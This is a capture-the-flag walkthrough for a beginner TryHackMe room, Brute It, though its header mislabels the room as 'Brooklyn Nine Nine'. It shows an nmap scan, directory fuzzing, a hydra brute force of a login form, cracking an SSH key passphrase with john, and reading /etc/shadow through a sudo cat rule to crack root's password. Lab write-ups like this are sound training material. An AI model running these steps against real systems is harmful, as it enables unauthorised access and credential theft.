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leftermv.com
Terminal window
# PLATFORM          . THM
# CTF NAME          . Brooklyn Nine Nine
# DESCRIPTION       . This room is aimed for beginner level hackers but anyone can try to hack this box. There are two main intended ways to root the box.
# DIFFICULTY        . Easy
# CTF LINK          . https://tryhackme.com/room/bruteit
Terminal window
sudo nmap -sSVC -T5 10.10.176.165 -p- -oN brute
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b0ebf14fa54b35c4415edb25da0ac8f (RSA)
|   256 d03a8155135e870ce8521ecf44e03a54 (ECDSA)
|_  256 dace79e045eb1725ef62ac98f0cfbb04 (ED25519)


80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
  • I’ve decided to fuzz the webserver since there wasn’t anything interesting going on and I did not have credentials for ssh.
ffuf -u http://10.10.176.165/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
admin                   [Status: 301, Size: 314, Words: 20, Lines: 10]
  • on this page, we find a simple login form along with a hint in the source code
<!-- Hey john, if you do not remember, the username is admin -->
  • I ran hydra against the login form to find the password.
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.176.165 http-post-form "/admin/:user=admin&pass=^PASS^:F=invalid" -I

  • Here we find the RSA private key for user john and one of the flags.

  • The key is protected by a passphrase which we can crack using john.

Terminal window
ssh2john rsa > rsa_crack
john rsa_crack


# where rsa is the file containing the private RSA key.
  • The second flag is located in /home/john/user.txt
john@bruteit:~$ sudo -l


User john may run the following commands on bruteit:
    (root) NOPASSWD: /bin/cat

  • That’s an easy privilege escalation vector.

  • To find root’s password, we can use sudo cat /etc/shadow and get the root hash.

  • Save it to a file and run john against it.

/opt/john/run/john rootpasswd


f[redacted]l         (root)

  • The last flag is located in /root/root.txt.

  • Of course, you can directly use sudo cat /root/root.txt but the challenge asks for root’s password.